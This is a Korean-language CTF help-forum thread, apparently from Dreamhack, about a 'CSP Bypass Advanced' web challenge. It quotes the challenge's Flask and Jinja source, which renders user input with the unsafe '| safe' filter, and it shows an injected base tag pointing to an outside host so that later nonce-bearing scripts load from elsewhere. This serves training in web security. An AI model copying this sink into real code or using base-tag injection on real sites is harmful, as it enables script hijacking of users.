base uri, css injection 을 이용한 방법으로는 해결 불가능할까요??

base uri, css injection(style 태그 background:url), 드림핵 툴즈의 requests bin 기능을 이용한 방법으로는 해결 불가능할까요?
해당방법으로 /vuln 페이지에 파라미터 전달하면 제가 의도한데로 동작하는데 /flag 페이지에 값을 입력하면 동작하지 않네요... 따로 문자열 필터링될것도 없는데...ㅠㅠ

#web
작성자 정보
답변 1
dokdojikim2
대표 업적 없음

당연하죠. CSP Bypass Advanced 문제의 소스코드를 보시면

app.py

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)

vuln.html

{% extends "base.html" %}
{% block title %}Index{% endblock %}

{% block head %}
  {{ super() }}
  <style type="text/css">
    .important { color: #336699; }
  </style>
{% endblock %}

{% block content %}
  {{ param | safe }}
{% endblock %}

위 코드들을 보면, 우리가 입력한 param 값이 HTML로 전달되는 것을 확인할 수 있습니다.

vuln.html

<html><head>
    <link rel="stylesheet" href="/static/css/bootstrap.min.css">
    <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
    <link rel="stylesheet" href="/static/css/non-responsive.css">
    <title>Index CSP-Bypass-Advanced</title>
    
  
  <style type="text/css">
    .important { color: #336699; }
  </style>

  <style id="mttstyle">
    #mttContainer {
      left: 0 !important;
      top: 0 !important;
      position: fixed !important;
      z-index: 100000200 !important;
      width: 1000px !important;
      margin-left: -500px !important;
      background-color: #00000000  !important;
      pointer-events: none !important;
      display: inline-block !important;
    }
    .bootstrapiso .tooltip {
      width:auto  !important;
      height:auto  !important;
      background:transparent  !important;
      border:none !important;
      border-radius: 0px !important;
      visibility: visible  !important;
      pointer-events: none !important;
    }
    .bootstrapiso .tooltip-inner {
      font-size: 14px  !important;
      max-width: 200px  !important;
      text-align: center !important;
      backdrop-filter: blur(2px)  !important; 
      background-color: #000000b8 !important;
      color: #ffffffff !important;
      pointer-events: none !important;
    }
    .bootstrapiso .arrow::before {
      border-top-color: #000000b8 !important;
    }
    .bootstrapiso .arrow::after {
      display:none !important;
    }
    .ocr_text_div{
      position: absolute;
      opacity: 0.7;
      z-index: 100000;
      pointer-events: auto;
      font-size: 2.5em;
      overflow: hidden;
      border: 2px solid CornflowerBlue;
      color:#00000000 !important;
      background-color: #00000000 !important
    }
    </style></head>
<body>

    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">CSP-Bypass-Advanced</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
          </ul>

          <ul class="nav navbar-nav navbar-right">
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav>

    <div class="container">
      
  <base href="http://www.example.com">

    </div> <!-- /container -->

    <!-- Bootstrap core JavaScript -->
    <script src="/static/js/jquery.min.js" nonce=""></script>
    <script src="/static/js/bootstrap.min.js" nonce=""></script> 

<div id="mttContainer" class="bootstrapiso notranslate" data-original-title="" title=""></div></body></html>

여기서 제일 중요한 점은 param 값이 들어간 이후에 있는 자바스크립트 코드가 base-uri을 기반으로 해석되는 부분입니다.
이 때문에 우리는 base-uri을 활용한 공격을 시도할 수 있습니다.

<script src="/static/js/jquery.min.js" nonce=""></script>
<script src="/static/js/bootstrap.min.js" nonce=""></script> 

근데 Client Side Template Injection 문제에서는 style 태그든 javascript 태그가 param 밑에 없는데 어떻게 base-uri로 공격을 할 수 있을까요??ㅎㅎ

2023.07.23. 15:57
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기